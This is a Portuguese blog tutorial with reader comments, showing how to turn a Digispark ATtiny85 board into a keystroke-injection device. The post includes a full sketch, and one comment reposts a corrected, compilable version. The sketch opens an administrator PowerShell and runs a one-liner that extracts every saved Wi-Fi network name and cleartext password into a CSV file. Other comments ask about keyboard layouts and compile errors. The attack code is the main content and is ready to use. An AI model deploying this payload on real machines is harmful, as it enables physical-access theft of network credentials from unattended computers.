Hacking com Arduino

Neste tutorial eu vou utilizar o Digispark. Eu comprei esse meu dispositivo no Mercado Livre por 15 reais.

micro arduino digispark attiny85 usb placa

O Digispark é um microcontrolador de desenvolvimento com base no ATtiny85 semelhante à linha do Arduino, só que mais barato, menor e um pouco menos potente.

Para trabalhar neste projeto voce deve primeiro instalar o Arduino IDE :
https://www.arduino.cc/en/Main/Software 

E logo em seguida configure o seguindo as instruções do site. software https://digistump.com/wiki/digispark/tutorials/connecting 

Você também deve instalar os drivers atualizados  https://github.com/digistump/DigistumpArduino/releases 

Eu também usei scripts prontos e apenas modifiquei. Você encontra ótimos scripts em https://github.com/CedArctic/DigiSpark-Scripts 

 Script que eu usei no video


include "DigiKeyboard.h" void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("MD c:\Windows\Attack"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path c:\Windows\Attack\wifi.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}

Anúncio

Sobre Daniel Donda 550 Artigos
Olá, meu nome é Daniel Donda e sou especialista em cibersegurança, autor de livros, professor e palestrante. Saiba mais

11 Comentários

  1. Boa tarde Daniel Donda, tudo bom??
    Voce comentou que tentaria realizar as alteraçoes da biblioteca do digispark para rodar em teclado portugues.
    Estou tentando realizar essa missão tbm mas to tomando uma surra.
    Voce conseguiu realizar essas alteracoes com sucesso?
    Caso tenha conseguido, poderia me enviar essa lib por favor?
    Grande Abraço.

  2. Amigo, você pode por favor me dizer como eu consigo deixar em abnt2, estou programando com um arduíno Leonardo atmega32u4
    Estou tentando rodar abnt2 a quase 1 ano,
    Tentei diversas forma de alterar a biblioteca Keyboard- keyboard.ccp e a keyboard.h
    Mais não tive nenhum resultado,
    Não faço a mínima ideia de como prosseguir

  3. ESTOU TENDO ESSE ERRO, PODERIA ME AJUDAR??

    eyboard:23:12: error: expected primary-expression before ‘/’ token

    for(;;){ /empty/ }

    ^

    Keyboard:23:13: error: ‘empty’ was not declared in this scope

    for(;;){ /empty/ }

    ^

    Keyboard:23:20: error: expected primary-expression before ‘}’ token

    for(;;){ /empty/ }

    ^

    Keyboard:23:20: error: expected ‘;’ before ‘}’ token

    exit status 1

    expected primary-expression before ‘/’ token

  4. Bom dia Daniel Donda

    Eu copiei o seu codigo fonte e só ta dando erro nesta linha

    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    for(;;){ /empty/ }

    Quero saber como resolver e por no Digispark

  5. Para corrigir o problema do teclado para português basta baixar o arquivo DigiKeyboardPtBr.h e salvar na mesma pasta do código.
    No script, alterar todos os comandos DigiKeyboard.h para DigiKeyboardPtBr.h

  6. Salve galera!
    Fiz as devidas correções no código.

    #include “DigiKeyboard.h”
    void setup() {
    }
    void loop() {
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_A);
    DigiKeyboard.delay(500);
    DigiKeyboard.print(F(“MD c:\Windows\Attack”));
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print(F(“exit”));
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_A);
    DigiKeyboard.delay(500);
    DigiKeyboard.print(F(“(netsh wlan show profiles) | Select-String ‘\:(.+)$’ | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String ‘Key Content\W+\:(.+)$’ | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path c:\Windows\Attack\wifi.csv”));
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print(F(“exit”));
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    for(;;){ /*empty*/ }
    }

Faça um comentário

Seu e-mail não será divulgado.


*